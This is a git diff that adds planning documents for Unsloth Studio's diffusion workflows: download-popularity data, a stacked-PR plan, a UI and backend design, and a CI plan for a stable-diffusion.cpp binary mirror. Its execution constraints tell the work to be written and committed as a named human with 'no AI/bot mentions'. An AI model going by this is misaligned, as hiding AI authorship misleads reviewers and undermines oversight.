(1.78M), SDXL (1.32M), FLUX.1-dev (1.09M), +dreamshaper-7 (1.03M), **Tongyi-MAI/Z-Image-Turbo (886K)**, sd-turbo (684K), SD3.5-medium +(606K), sdxl-turbo (598K), Qwen-Image-Lightning (483K). All are plain txt2img -> our Create +tab; the GGUF/bnb families + Z-Image cover the modern ones. + +Top image-to-image (HF list, 30-day): Qwen-Image-Edit-2509 (512K) -> Edit tab; SDXL-refiner +(162K) -> Upscale/Transform; Kontext (150K) -> Edit tab. + +So Create / Transform / Inpaint / Extend / Upscale / Edit map onto the head of both +distributions. + +## SHIPPED: FLUX.2-klein image (reference) conditioning + +> Status: IMPLEMENTED + verified live (2026-06-30). `flux.2-klein` now has `reference=True`; +> the backend exposes a "reference" workflow that passes the image to the loaded +> Flux2KleinPipeline directly (no from_pipe, no strength, output at the requested size); the +> frontend has a "Reference" tab. Verified with `scripts/verify_reference_http.py` on +> `unsloth/FLUX.2-klein-4B-GGUF` (Q4_K_M): a reference-conditioned 1024x1024 result is +> non-blank, correctly sized, and DIFFERS from the identical-seed plain txt2img. +> +> FLUX.2-klein ALSO gained inpaint (`Flux2KleinInpaintPipeline` via from_pipe; verified with +> `scripts/verify_klein_inpaint.py`). It does NOT get outpaint/extend: FLUX.2 scales any >1MP +> input down to ~1MP, so a padded outpaint canvas shrinks back. "outpaint" is now a distinct +> capability advertised only for size-preserving inpaint families (`inpaint_preserves_size`). +> Multi-reference is shipped too (the pipeline accepts a list; the Reference tab has add/remove +> slots, backend caps at 3 extra; verified with `scripts/verify_multiref_http.py`: two +> references differ from one at the same seed). The analysis that motivated the work follows. + +The data surfaced this gap (now closed): + +| Model | dl / 30d | pipeline | +|---|---:|---| +| black-forest-labs/FLUX.2-klein-4B | 470,482 | image-to-image (#2 overall) | +| black-forest-labs/FLUX.2-dev | 271,037 | image-to-image | +| **unsloth/FLUX.2-klein-4B-GGUF** | **243,307** | image-to-image | +| black-forest-labs/FLUX.2-klein-9B | 178,964 | image-to-image | + +`flux.2-klein` is ALREADY a registered family in `diffusion_families.py` (txt2img only, +base `FLUX.2-klein-4B`, open repo). But `Flux2KleinPipeline.__call__` natively accepts an +`image` argument (verified in diffusers 0.38.0; params: image, prompt, height, width, +num_inference_steps, guidance_scale -- NOTE: no `strength`). FLUX.2 is a unified +text-to-image + reference/edit model: the SAME loaded pipe does both, depending on whether +`image` is passed. Today Studio exposes only txt2img for it, so the popular image-editing +mode of the #2 image-to-image model is unreachable. + +### Why it's a separate PR, not a tail-of-session add +FLUX.2 reference conditioning is a DIFFERENT semantic from the shipped workflows: +- No `strength` (it is reference-conditioning, not a denoise blend like img2img). +- Output size comes from width/height (txt2img-style), not from the input image size, so the + image-conditioned width/height rule we added for img2img/inpaint/upscale does NOT apply. +- FLUX.2 supports MULTIPLE reference images; single-image is the common case but the UX + should not preclude multi-ref. +This needs: read the Flux2KleinPipeline source for exact `image` semantics (list vs single, +how it is resized/tiled, recommended guidance), decide the UX (a "Reference" workflow that is +available alongside Create for `reference=True` families, distinct from the strength-based +Transform tab), then verify on the open FLUX.2-klein-4B base (and the unsloth GGUF) with a +reference image before/after. + +### Sketch (for the follow-up PR) +- `diffusion_families.py`: add `reference: bool = False`; set `reference=True` on flux.2-klein. +- `_family_workflows`: when `fam.reference`, expose `"reference"` (in addition to txt2img). +- `generate()`: a `reference` branch that passes `image` to `state.pipe` directly (no + from_pipe, no strength), with width/height = the requested size (NOT the input size). +- Frontend: a "Reference" tab (image dropzone + prompt), gated to `reference` families; + Create stays pure txt2img for the same model. +- Verify: load unsloth/FLUX.2-klein-4B-GGUF, pass a reference image, confirm the output is + conditioned on it and differs from a no-image run at the same seed. + +## Net +The seven shipped workflows (create, transform, inpaint, extend, upscale, reference, edit) +cover the popular ~80% across both the txt2img and image-to-image distributions, including the +#1 image-to-image model (Qwen-Image-Edit) and the #2 (FLUX.2-klein, now via the reference tab). +ControlNet / SD1.5-era ControlNet remain deferred with data backing (niche on the modern stack). diff --git a/plans/diffusion-workflows-pr-plan.md b/plans/diffusion-workflows-pr-plan.md new file mode 100644 index 0000000000..df07714cf4 --- /dev/null +++ b/plans/diffusion-workflows-pr-plan.md @@ -0,0 +1,156 @@ +# Stacked-PR plan: Studio diffusion workflows (Images redesign) + +Branch tip: `diffusion-eager-and-compile-cache` (latest commit "Phase 16 review fixes"). +Remote: `oobabooga/unsloth`. New PRs stack on top of the existing diffusion stack +(ultimately on top of unslothai/unsloth#6658), treated as one logical change. + +Nothing here is committed yet (commit/push only on explicit request). + +## CRITICAL: the working tree holds TWO uncommitted streams, and three core files INTERMINGLE them + +A full `git status` / marker audit (branch `diffusion-eager-and-compile-cache`, tip "Phase 16 +review fixes") shows the uncommitted tree is NOT a clean single feature. There are two streams: + +A) **The eager/compile-cache phase** (the branch's own in-progress work, NOT this session's — + zero of this feature's markers). Purely-its files, safe to NOT touch in the workflow PRs: + - new modules: `diffusion_arch_patches.py`, `diffusion_compile_cache.py`, + `diffusion_eager_patches.py`, `diffusion_gguf_compile.py`, `diffusion_patch_backend.py` + - new tests: `test_diffusion_arch_patches.py`, `test_diffusion_compile_cache.py`, + `test_diffusion_eager_patches.py`, `test_diffusion_gguf_compile.py` + - modified: `diffusion_speed.py`, `test_diffusion_speed.py`, `conftest.py`, + `scripts/diffusion_bench.py`, and ~25 untracked `scripts/*bench*/*probe*/*orchestrator*`. + +B) **The Images workflows feature** (this session): the workflow engine + frontend + installer. + +**The two streams INTERMINGLE inside three shared files and are NOT separable by file:** + - `studio/backend/core/inference/diffusion.py` — this feature's workflow hunks are interleaved + with the eager/compile wiring (imports at L67-75; `install_arch_patches`/`compile_cache.begin`/ + `.restore`/`.save` and the `eager_patched`/`compile_cache_ctx` state throughout + `load_pipeline`/`generate`/`unload`). A single `diffusion.py` cannot go into one PR without the + other stream's hunks. + - `studio/backend/models/inference.py` — this feature's `init_image`/`mask_image`/ + `reference_images`/`upscale`/`model_kind` fields sit next to the pre-existing `speed_mode`/ + `transformer_prequant_path` fields in the same request models. + - `studio/backend/tests/test_diffusion_backend.py` — this feature's workflow tests sit next to + the pre-existing `test_failed_load_rolls_back_eager_patches` (imports `diffusion_eager_patches`). + +**Implication / options (USER DECIDES — it is their branch + their eager/compile work):** + - CLEANLY separable now (purely this feature, can be committed/PR'd on their own anytime): + frontend `images-page.tsx` + `api.ts` + `pickers.tsx`, and the sd.cpp installer + `install_sd_cpp_prebuilt.py` + `test_sd_cpp_install.py`. (These are PR 2 and PR 3 below.) + - The backend engine (PR 1) CANNOT be cleanly split from the eager/compile phase via files. + Realistic paths: (a) finalize + commit the eager/compile phase first, then this feature's + backend lands as a clean diff on top; or (b) commit both streams together as the branch's + next chunk (consistent with treating the stack as one logical change); or (c) a manual + `git add -p` hunk split of the three shared files (tedious, risks a non-compiling + intermediate). NOT auto-doable safely without the owner's intent for the eager/compile work. + +## Proposed stack (3 PRs, bottom to top) + +### PR 1 - Backend: diffusion workflow engine (safetensors + image-conditioned + editing) +Files: +- `studio/backend/core/inference/diffusion.py` (the feature hunks: three load "kinds" + gguf/single_file/pipeline; `_workflow_pipe` via `from_pipe(torch_dtype=None)`; + `_align_vae_dtype`; `generate()` routing for reference/img2img/inpaint/upscale/edit; + image-conditioned width/height from the input image (but reference + txt2img use the slider + size); `upscale` (hires fix) branch on the img2img pipe; `reference` (FLUX.2) branch that + passes the image(s) to the loaded pipe directly (no from_pipe, no strength) incl. multi- + reference (`reference_images` combined into a list, capped at 3 extra); branch ORDER + inpaint/upscale before reference so a mask/upscale request on a reference family still routes + right; `_family_workflows` (adds "upscale" wherever img2img is supported, "reference" for + reference families, "outpaint" only for size-preserving inpaint families); `kind` on state + + `model_kind` in status; `load_progress` double-count fix). NOTE: this file ALSO carries + pre-existing speed hunks if any landed here - review per-hunk and exclude non-feature hunks. +- `studio/backend/core/inference/diffusion_families.py` (img2img/inpaint pipeline slots; + `edit` flag + `reference` flag + `inpaint_preserves_size` flag; `qwen-image-edit` + + `flux.1-kontext` families; flux.2-klein gains reference + inpaint (no outpaint: FLUX.2 + normalizes to ~1MP); `detect_family` longest-match + leftover-reject; `layered` reject). +- `studio/backend/core/inference/diffusion_engine_router.py` (model_kind -> diffusers for + non-gguf kinds). +- `studio/backend/core/inference/diffusion_memory.py` (`estimate_safetensors_dense_mib`). +- `studio/backend/core/inference/sd_cpp_backend.py` (model_kind passthrough; reject + img2img/inpaint on the native engine). +- `studio/backend/models/inference.py` (load request: optional gguf_filename, model_kind, + init/mask/strength, advanced knobs; status: workflows, model_kind). +- `studio/backend/routes/inference.py` (model_kind forwarding; ValueError -> 400; + exc_info logging). +- Tests: `test_diffusion_backend.py`, `test_diffusion_routes.py`. + +Title: `Studio diffusion: safetensors + image-conditioned + instruction-editing workflows` +Summary: Adds non-GGUF safetensors loading (full bnb-4bit pipelines + single-file fp8, +gated to unsloth/*), the image-conditioned workflows (img2img, inpaint, outpaint via the +inpaint path) built with `Pipeline.from_pipe` for zero-extra-VRAM component reuse, and +instruction editing as its own family kind (Qwen-Image-Edit-2511 + FLUX.1-Kontext-dev). +Fixes two bugs: `from_pipe` defaulting to a float32 recast that crashed torchao-quantized +transformers, and image-conditioned calls forcing the slider size onto the input image. + +### PR 2 - Frontend: redesigned Images page (workflow tabs + Advanced Options) +Files: +- `studio/frontend/src/features/images/images-page.tsx` (workflow tabs Create/Transform/ + Inpaint/Extend/Upscale/Reference/Edit; capability gating + auto-switch; `MaskCanvas`; + `buildOutpaint`; Upscale tab with Scale + Detail-strength sliders; Reference tab (FLUX.2, + reference image + add/remove extra references, no strength); Advanced Options accordion gated + to GGUF for transformer-quant; spinner-overlap fix). +- `studio/frontend/src/features/images/api.ts` (request/status types incl. model_kind, upscale, + reference_images). +- `studio/frontend/src/components/assistant-ui/model-selector/pickers.tsx` (curated + safetensors + edit GGUF rows; `SUPPORTED_EDIT_KEYWORDS` un-hide; layered hide). + +Title: `Studio Images: workflow tabs (create/transform/inpaint/extend/upscale/reference/edit) + Advanced Options` +Summary: Redesigns the Images page around capability-gated workflow tabs with a brush mask +editor, client-side outpaint, a hires-fix upscale tab, a FLUX.2 reference tab, an instruction-edit +tab, and an Advanced Options panel (speed/quant/attention/memory/step-cache/offload), plus the +number-input spinner fix. + +### PR 3 - sd.cpp prebuilt installer hardening +Files: `studio/install_sd_cpp_prebuilt.py`, `studio/backend/tests/test_sd_cpp_install.py`. +Title: `Studio sd.cpp: pin release + verify sha256 + mirror-ready source` +Summary: Pins the stable-diffusion.cpp release (was tracking `latest`), verifies each +download's sha256 against GitHub's published asset digest before extract/execute, adds a +download timeout, and makes the source repo configurable (`UNSLOTH_SD_CPP_REPO`) so a +future unslothai mirror needs no code change. Cleanly separable from the rest. + +## Pre-PR review (done) +An independent 3-angle review (backend correctness, frontend/UX, security/robustness) ran over +the full session diff. No High findings; the load-gating to `unsloth/*` and the multi-reference +count caps were verified intact end-to-end. Fixes applied before the PRs: +- Frontend [Med]: multi-reference slots no longer renumber mid-edit (dropped the eager + `filter(Boolean)` in the per-slot onChange; empties dropped only at send). +- Backend [Med]: upscale now caps the ABSOLUTE output (longest side <= 2048), not just the + factor, so a large upload * 4x can't OOM. +- Backend/security [Med]: `_decode_b64_image` rejects images > 4096px/side (uniform guard for + init/mask/reference vs decompression-bomb / OOM inputs); base64 image fields capped at 32 MiB. +- Security [Low]: the native sd.cpp engine guard also rejects `reference_images`. +All covered by new tests (82 backend pass) and a post-fix e2e (all five workflows still pass). + +## Post-deploy user feedback fixes (done) +From live use of the deployed studio: +- Backend [Med]: image-conditioned workflows passed the raw upload size to pipelines that + require multiples of 16 (Z-Image/Qwen/FLUX), so an odd upload (e.g. 186px) failed with + "Height must be divisible by 16". Added `_snap_to_multiple` and auto-resize init (and the + matched mask) to the nearest /16 for img2img/inpaint/extend/edit. Verified live: a 186x250 + Transform and Inpaint now return 200 at 192x256. Tests added. +- Frontend [Med]: the Advanced options (FP8/INT8 quant, speed, attention, memory) were a + collapsed, muted accordion at the bottom of the left rail that users missed (HF screenshots + discussion #25). Moved them into a RIGHT-DOCKED panel mirroring Chat's settings panel. + Per follow-up (discussion #26): CLOSED by default, toggled by a SINGLE fixed top-bar button + using Chat's `LayoutAlignRightIcon` that stays in the exact same position in both states + (verified x/y identical open vs closed) and highlights when open. Controls extracted to a + render-local `advancedControls`; unused Accordion import removed. + +## Constraints for execution (when authorized) +- Write as the user; no AI/bot mentions, no emojis, no em dashes; well-formatted bodies. +- `gh auth status` first. Push to `oobabooga/unsloth`, stack on the current branch. +- Keep PR 3 independent; PR 2 depends on PR 1 (frontend needs the backend contract). +- Re-run `pytest studio/backend/tests/test_diffusion_*.py test_sd_cpp_install.py` + + frontend `tsc`/`build` before each PR. + +## Out of scope / follow-ups +Scope decisions are backed by HF download data in `plans/diffusion-popularity-findings.md`. +The seven shipped workflows are create, transform, inpaint, extend, upscale, reference, edit. +- Publish the unslothai/stable-diffusion.cpp mirror + macOS/Windows staging (#152). +- ControlNet / style-transfer: the goal's "most popular" set is covered by the seven shipped + workflows. ControlNet on the modern diffusers/FLUX/Qwen stack is niche by downloads + (~3K/30d), so deferring it is data-backed, not just an effort call. +- FLUX.2-klein inpaint and multi-reference are DONE (shipped). Outpaint is intentionally not + offered for FLUX.2 (it scales >1MP inputs to ~1MP). No further FLUX.2 follow-ups outstanding. diff --git a/plans/diffusion-workflows-studio.md b/plans/diffusion-workflows-studio.md new file mode 100644 index 0000000000..126bc79129 --- /dev/null +++ b/plans/diffusion-workflows-studio.md @@ -0,0 +1,125 @@ +# Plan: Unsloth Studio diffusion workflows + Images UI redesign + +Stacked as NEW PRs on top of the existing 14-PR diffusion stack above unslothai/unsloth#6658 +(treated as one logical base). Goal: cover ~80% of common real-world diffusion workflows, +across macOS/Linux/Windows/CPU, optimizing performance, accuracy, and memory. + +## Current state (verified by recon) + +- Backend is **text-to-image only** end-to-end. No image/mask/control plumbing in + `DiffusionGenerateRequest`, `/images/generate`, or `DiffusionBackend.generate()`. +- **diffusers 0.38.0 already imports every pipeline we need**: `*Img2ImgPipeline`, + `*InpaintPipeline`, `FluxFillPipeline`, `*ControlNetPipeline`/`ControlNetModel`, + `FluxKontextPipeline`, `QwenImageEditPipeline`/`QwenImageEditPlusPipeline`, + `StableDiffusion(Latent)UpscalePipeline`. No diffusers upgrade required. +- The native **sd.cpp engine already has dormant fields** (`init_img`, `strength`, `mask`, + `ref_images`) and a complete `upscale()` path — never wired to the request/route. +- **All advanced LOAD options are already wired** end-to-end (speed_mode, transformer_quant + fp8/int8/nvfp4/mxfp8, attention_backend, memory_mode, cpu_offload, transformer_cache, + vae_tiling status). The Advanced panel is mostly a FRONTEND surfacing job. +- Frontend has `Tabs` (`components/ui/tabs.tsx`) and `Accordion` ready. No dropzone and no + mask/brush canvas — both greenfield. `SliderField` is the customizer number input. +- `_EDIT_KEYWORDS = ("edit","kontext","inpaint","layered")` rejects edit/inpaint/Kontext/ + Layered repos at family detection. +- sd.cpp binary is downloaded prebuilt from **upstream leejet/stable-diffusion.cpp** (no + unsloth mirror, no checksum/manifest/version pin, not wired into setup.sh). llama.cpp uses + an `unslothai/llama.cpp` mirror with manifest+sha256+version pin+source fallback. +- Chat "Images" pill = provider-side (OpenAI/Gemini) hosted tool, separate from local diffusion. + +## Workflow popularity ranking (what to build for 80% coverage) + +1. txt2img (keep, polished) — done +2. img2img / variations — **P0** +3. inpainting (mask edit) — **P0** +4. upscaling / hires fix — **P0** +5. ControlNet (Canny/Depth/Pose/Lineart/Tile) — **P0/P1** +6. outpainting (canvas extend) — **P1** +7. instruction image editing (Qwen-Image-Edit, FLUX Kontext) — **P1** +8. style transfer / reference — **P1** (via img2img/edit/control) +9. batch generation/edit/upscale — **P1** +10. LoRA/style packs — **P2** + +## Editing-model decisions (researched) + +- **Qwen-Image-Edit / Edit-2511**: popular, best-in-class clean targeted edits + multilingual + text. **Support** (instruction edit, mask-optional). +- **FLUX.1 Kontext**: popular, character-consistent in-context editing. **Support** (note: + Kontext-dev is non-commercial/gated — surface license, don't block local custom models). +- **Qwen-Image-Layered**: newer, niche (Photoshop RGBA layer decomposition). Needs a dedicated + pipeline (`additional_t_cond`) — **defer** (keep rejected for now; optional later behind a + layered-specific view). This already crashed the standard path (the earlier bug). + +## UI design — workflow tabs (inside ImagesPage, route/nav unchanged) + +`Tabs` across the top of the controls area. Combine related workflows: +- **Create** — txt2img (current behavior preserved) +- **Transform** — img2img + style transfer (upload + strength/denoise + presets) +- **Edit** — inpaint (mask brush/upload/invert/feather, masked-vs-whole) + instruction edit + (Qwen-Image-Edit / FLUX Kontext, mask-optional) +- **Extend** — outpainting (directional handles, aspect presets, overlap/feather) +- **Control** — ControlNet (one control slot first: Canny/Depth/Pose/Lineart/Tile + preview) +- **Enhance** — upscaling (ESRGAN/RealESRGAN + latent/tiled) +- **Advanced Options** — Accordion surfacing existing load knobs (speed/compile/attention/ + quant fp8/int8/nvfp4/memory/offload/vae tiling/cache) with Auto defaults + resolved values. + +Capability gating: a workflow/control is shown enabled only when the selected engine+family+ +device+quant supports it; otherwise disabled with a plain-language "why". + +## Backend architecture + +- Extend `DiffusionGenerateRequest`: optional `workflow` (txt2img|img2img|inpaint|outpaint| + control|edit|upscale), `init_image` (b64), `mask_image` (b64), `control_image` (b64), + `strength`, `controlnet_conditioning_scale`, `control_start/end`, `upscale_factor`, + `ref_images`. Add an image-decode (b64→PIL) helper (none exists). +- `DiffusionFamily`: add optional pipeline-class slots (`img2img_pipeline_class`, + `inpaint_pipeline_class`, `edit_pipeline_class`, `controlnet_pipeline_class` + control repos). + Build the right pipeline around the already-loaded `transformer=` (reuse `_assemble_pipe` + shape); swap/cache pipeline class per workflow without reloading the transformer where + possible. +- `generate()` kwarg builder must branch: img2img/edit pipelines take `image=`/`strength=` and + reject `width/height`; inpaint adds `mask_image=`; control adds `control_image=`. Gate each + kwarg via `inspect.signature`. +- Capability resolver: maps engine+family+device+quant → supported workflows + reasons; echoed + in run metadata so the UI shows what actually ran. +- Memory planner must account for input/latent size, control models, VAE decode, upscale. + +## PR breakdown (stacked, small, capability-gated) + +- **PR-1 UI fixes + workflow shell**: fix number-input spinner overlap (DONE in tree), tab + scaffold (Create/Transform/Edit/Extend/Control/Enhance/Advanced), Advanced Options accordion + surfacing existing load knobs, capability banner, loading/empty/error states. +- **PR-2 Backend workflow contract + capability registry**: extend request/response, decode + helper, per-family pipeline slots, resolver. No new behavior yet beyond txt2img. +- **PR-3 img2img (Transform)**: backend + Transform tab + dropzone (adapt from + shared-composer `addFiles`/`PendingImageThumb`). Smoke test low vs high denoise. +- **PR-4 inpaint + instruction edit (Edit)**: mask canvas (greenfield), inpaint pipeline, + Qwen-Image-Edit/FLUX Kontext edit; relax `_EDIT_KEYWORDS` → route to edit family. +- **PR-5 outpaint (Extend)**: expanded-canvas inpaint, directional handles, feather/overlap. +- **PR-6 ControlNet (Control)**: one control slot + preprocessor preview + strength/start/end. +- **PR-7 upscaling (Enhance)**: wire dormant sd.cpp `upscale()` + diffusers upscale + `/images/upscale`. +- **PR-8 Advanced panel polish + FP8/INT8 verification matrix**. +- **PR-9 sd.cpp prebuilt packaging**: mirror to `unslothai/stable-diffusion.cpp`, manifest+ + sha256+version pin+`--published-repo`+source fallback, wire into setup.sh (ref + install_llama_prebuilt.py). +- **PR-10 cross-platform staging validation** (danielhanchen staging repos, small GGUFs). +- **PR-11 Playwright tests + screenshots/GIFs per tab** (studio_test_kit / unsloth_studio_workflow). +- **PR-12 batch + multi-control + reproducibility polish** (later). + +## Done so far + +- Fixed the customizer number-input spinner overlap (`SliderField` in images-page.tsx): native + spinners covered the value on the narrow field; now fully suppressed (webkit inner+outer + + Firefox `appearance:textfield`) and field widened to `w-14`. Frontend rebuilt clean. + +## Verification + +- Playwright (studio_test_kit) per tab: screenshots + GIFs, capability gating, upload/mask, + progress/cancel/error, gallery. +- B200 functional: load + generate one image per workflow per representative family. +- FP8 + INT8 verified (build matrix: SDXL/FLUX/Qwen-Image/Qwen-Image-Edit/GGUF; measure + black-image/NaN rate, peak VRAM, time-to-first-image, prompt adherence, source preservation). +- Cross-platform staging (Linux CUDA/CPU, Windows CUDA/CPU, macOS MPS) with small GGUFs. + +## Delivery + +New branch(es) off the current tip; new stacked PRs. Commit/push only when asked. diff --git a/plans/wobbly-jumping-narwhal.md b/plans/wobbly-jumping-narwhal.md new file mode 100644 index 0000000000..2261a2fe87 --- /dev/null +++ b/plans/wobbly-jumping-narwhal.md @@ -0,0 +1,141 @@ +# Plan: Publish unslothai/stable-diffusion.cpp mirror + our own CPU/Apple prebuilts + +## Context + +The Unsloth Studio native diffusion engine downloads a prebuilt `sd-cli` / `sd-server` +(stable-diffusion.cpp) via `studio/install_sd_cpp_prebuilt.py`. Today it pulls from +**leejet/stable-diffusion.cpp** upstream releases. We want to own this like we own +**unslothai/llama.cpp**: a fork that builds and publishes OUR OWN prebuilt binaries on a +schedule, so we control reproducibility, integrity, and the macOS load floor. + +**Why native is CPU/Apple-only.** On a GPU host, diffusers + our optimizations (regional +`torch.compile` ~2.2x, cuDNN/flash attention, FP8/INT8/NVFP4 quant, first-block-cache) is +faster than sd.cpp's CUDA path, which has none of those levers — so GPU hosts route to +diffusers. Native sd.cpp only wins where diffusers is weak: **CPU and Apple**. Therefore we +build native binaries ONLY for the platforms where native is actually the faster engine, and +skip CUDA/ROCm/Vulkan entirely (GPU = diffusers/torch). This also makes the CI far cheaper. + +The Studio side is already prepared: `install_sd_cpp_prebuilt.py` reads `UNSLOTH_SD_CPP_REPO` +(repo override) + `UNSLOTH_SD_CPP_TAG` (pinned tag) and verifies the GitHub asset `digest` +(`_verify_sha256`). So the bulk of the work is the mirror repo + release CI; the Studio change +is a small default flip + resolver tweak. + +## Coverage (user-confirmed): CPU / Apple ONLY + +| Platform | Arch | Build | Runner | Notes | +|---|---|---|---|---| +| macOS | arm64 | Metal (`-DSD_METAL=ON`) | macos-26, `OSX_DEPLOYMENT_TARGET=14.0` | Apple fast path (diffusers/MPS weak) | +| macOS | x86_64 | CPU | macos-15-intel, `OSX_DEPLOYMENT_TARGET=13.3` | Intel Macs | +| Linux | x86_64 | CPU | ubuntu-22.04 (glibc 2.35) | **also covers WSL** (WSL = Linux x64) | +| Linux | aarch64 | CPU | ubuntu-24.04-arm | ARM servers | +| Windows | x86_64 | CPU | windows-2022 (MSVC+Ninja) | | + +**Explicitly out of scope:** CUDA, ROCm, Vulkan native builds; GPU runners; cudart bundling; +per-gfx matrices. GPU stays on diffusers/torch. + +## Reference pattern (verified this session) + +`unslothai/llama.cpp` builds via `.github/workflows/unsloth-prebuilt.yml` (orchestrator) + six +per-accel children + `scripts/unsloth/` helpers (`assemble_metadata.py`, `package_bundle.py`, +`assert_macho_minos.sh`). Mechanisms to mirror: `resolve` (supply-chain aging — only build a +release public >=6h; stamp build-info + Unsloth fingerprint; upload ONE source artifact all +children extract) -> per-platform children (build from the source artifact, load-gate, package, +upload) -> `assemble` (fingerprint gate + manifest/sha256 index + coverage gate + **atomic +draft->publish**, no partial releases). Template files fetched to `workspace_81/temp/llamacpp_workflows/`. + +## Key facts (verified) + +- leejet builds both `sd-cli` and `sd-server` (`examples/cli`, `examples/server`) — the mirror + ships both (sd-server is used by PR #6768's persistent server). +- leejet naming: `sd--bin-.zip`. + leejet already ships macOS arm64, Linux x64 CPU, Windows CPU — we ADD macOS x86_64 and Linux + aarch64 (the gaps in our target set), and rebuild the rest under our own fingerprint/integrity. +- Studio resolver (`resolve_release_asset`, `install_sd_cpp_prebuilt.py:88`): filters to `.zip`; + macOS = darwin/macos + arch token; Linux = `linux` + arch + (no accel marker for auto/cpu); + Windows = `bin-win` + `avx2` else any. For a CPU-only mirror the resolver needs essentially NO + change — macOS x86_64 and Linux aarch64 already match by arch token; just confirm the Windows + CPU asset resolves (contains `bin-win`, falls back to the plain build). + +## Design + +### A. Mirror repo (fork of leejet/stable-diffusion.cpp) + +Fork so upstream C++ stays intact; add only `.github/workflows/` + `scripts/unsloth/`. Adapt the +llama.cpp orchestrator, heavily simplified (no CUDA/ROCm/Vulkan, no PR-mix): + +- **`resolve`**: pick the upstream leejet tag with the >=6h aging window; reuse leejet's + `master--` as the mirror tag (keeps `UNSLOTH_SD_CPP_TAG` comparable to upstream); + stamp a source tarball with build-info + the "Compiled by the Unsloth team" fingerprint; upload + the source artifact. Skip-if-already-published like llama.cpp. +- **Build children** (reusable `workflow_call`), each `cmake -DSD_BUILD_EXAMPLES=ON` (cli+server): + - `macos` (arm64 Metal + x64 CPU): pinned `CMAKE_OSX_DEPLOYMENT_TARGET`, `@loader_path` rpath, + load-gate via `assert_macho_minos.sh` (adapted for `sd-cli`/`sd-server`). + - `cpu-linux` (x64 + arm64) and `cpu-windows` (x64, MSVC+Ninja). +- **Asset naming = leejet-compatible**, all `.zip`: + `sd--bin-Darwin-macOS-arm64.zip`, `sd--bin-Darwin-macOS-x86_64.zip`, + `sd--bin-Linux-Ubuntu-24.04-x86_64.zip`, `sd--bin-Linux-Ubuntu-24.04-aarch64.zip`, + `sd--bin-win-cpu-x64.zip`. +- **`assemble`**: fingerprint gate (verify the mark in every archive), generate + `sd-prebuilt-manifest.json` + `sd-prebuilt-sha256.json`, coverage gate (all 5 assets present), + atomic draft->publish. GitHub sets each asset `digest`, which the Studio already verifies. +- **Signing/notarization:** none. The Studio downloads via `urllib` (not a browser), so no macOS + quarantine xattr is set and Gatekeeper does not block CLI-run binaries (matches llama.cpp). + +### B. Studio-side switch (PR on the diffusion stack, after the mirror's first green release) + +Small, in `studio/install_sd_cpp_prebuilt.py` + its test: +1. `DEFAULT_REPO = "unslothai/stable-diffusion.cpp"`; `DEFAULT_TAG` = the mirror's first tag. +2. Confirm `resolve_release_asset` picks correctly for all 5 CPU/Apple hosts (add a Windows CPU + token only if the plain-`bin-win` fallback proves insufficient; likely no change needed). + Keep the leejet fallback (env override still points back upstream). +3. Extend `test_sd_cpp_install.py` `_ASSETS` to the mirror's 5-asset set; assert host->pick for + macOS arm64/x64, Linux x64/arm64, Windows x64; assert GPU hosts are unaffected (still diffusers). + +## Critical files + +- New (mirror repo): `.github/workflows/unsloth-sd-prebuilt.yml` (+ `-macos.yml`, `-cpu-linux.yml`, + `-cpu-windows.yml`), `scripts/unsloth/{assemble_metadata.py,package_bundle.py,assert_macho_minos.sh}`. +- Studio: `studio/install_sd_cpp_prebuilt.py`, `studio/backend/tests/test_sd_cpp_install.py`. +- Local templates to adapt: `workspace_81/temp/llamacpp_workflows/{unsloth-prebuilt.yml,unsloth-prebuilt-macos.yml,unsloth-prebuilt-cpu.yml}`. + +## Sequencing (chicken-and-egg) + +1. Build the mirror repo + CI; `publish=false` dry run to validate the 5-way matrix (~10-20 min, + no GPU runners so cheap). +2. First green **published** release with all 5 assets + manifest/sha256. +3. THEN the Studio PR flips `DEFAULT_REPO`/`DEFAULT_TAG` + resolver test (on the diffusion stack). + +## Verification + +- **Resolver unit tests** (hermetic): feed the mirror's 5 asset names to `resolve_release_asset` + for macOS arm64/x64, Linux x64/arm64, Windows x64 -> correct pick; and CUDA/GPU host -> still + routes to diffusers (native not selected). +- **CI dry run**: `publish=false` artifact-only run; inspect the 5 archives each contain `sd-cli` + (+ `sd-server`) and carry the fingerprint. +- **Live install smoke** (this Linux box): `UNSLOTH_SD_CPP_REPO=unslothai/stable-diffusion.cpp + python studio/install_sd_cpp_prebuilt.py --print-asset` then real `install()`, confirm + `sd-cli --version` + `sd-server` launch, and drive one native CPU generation via the Studio. +- **Integrity**: each published archive matches its manifest sha256 and the GitHub asset digest. + +## Staging (user-confirmed): fork + push CI now + +Execution order: +1. **Preflight permissions**: `gh auth status`; confirm the token can create/fork under the + `unslothai` org and enable Actions. If it CANNOT, stop and report (fall back to scaffold-only, + or a private fork under danielhanchen), rather than pushing somewhere unintended. +2. **Fork** leejet/stable-diffusion.cpp -> `unslothai/stable-diffusion.cpp` (clone into the + workspace to add files). Keep upstream C++ intact. +3. **Add CI + scripts** on a branch: `.github/workflows/unsloth-sd-prebuilt.yml` + + `-macos.yml`/`-cpu-linux.yml`/`-cpu-windows.yml`, `scripts/unsloth/*`. Commit as Daniel Han + (no AI/bot mentions, no emojis, no em dashes). `unset GH_TOKEN`/use `gh` creds for pushes that + touch `.github/workflows/*` (needs `workflow` scope). +4. **Dry run**: trigger the orchestrator with `publish=false` (artifact-only), confirm all 5 + archives build + carry `sd-cli`/`sd-server` + the fingerprint. Iterate until green. +5. **First publish**: `publish=true` (or let the schedule run) -> a real release with the 5 + assets + manifest/sha256. +6. **Studio PR** (section B) on the diffusion stack once the release tag exists. + +## Follow-ups (not this task) + +- Nightly schedule + auto-bump of the Studio `DEFAULT_TAG` (PR bot), like llama.cpp. +- Add GPU native builds later ONLY if a real need appears (today: GPU = diffusers/torch). diff --git a/scripts/build_prequant_checkpoint.py b/scripts/build_prequant_checkpoint.py index 366822de94..aebc12e983 100644 --- a/scripts/build_prequant_checkpoint.py +++ b/scripts/build_prequant_checkpoint.py @@ -55,8 +55,10 @@ def main(argv = None) -> int: # Reuse the runtime quant factory + filter so offline == runtime (the LPIPS-0 invariant). from core.inference.diffusion_transformer_quant import ( + TQ_FP8, TQ_SCHEMES, _make_quant_config, + _resolve_fast_accum, exclude_tokens_for_scheme, make_filter_fn, ) @@ -83,12 +85,14 @@ def main(argv = None) -> int: # skip the M=1 AdaLN-modulation / conditioning-embedder projections, else the saved checkpoint # bakes them as int8 and crashes (torch._int_mm needs M>16) at the first denoise step on # Flux / Qwen. fp8 / fp4 / mx use scaled_mm (no M limit) -> exclude_tokens_for_scheme returns (). + exclude_name_tokens = exclude_tokens_for_scheme(scheme) + # fp8 bakes 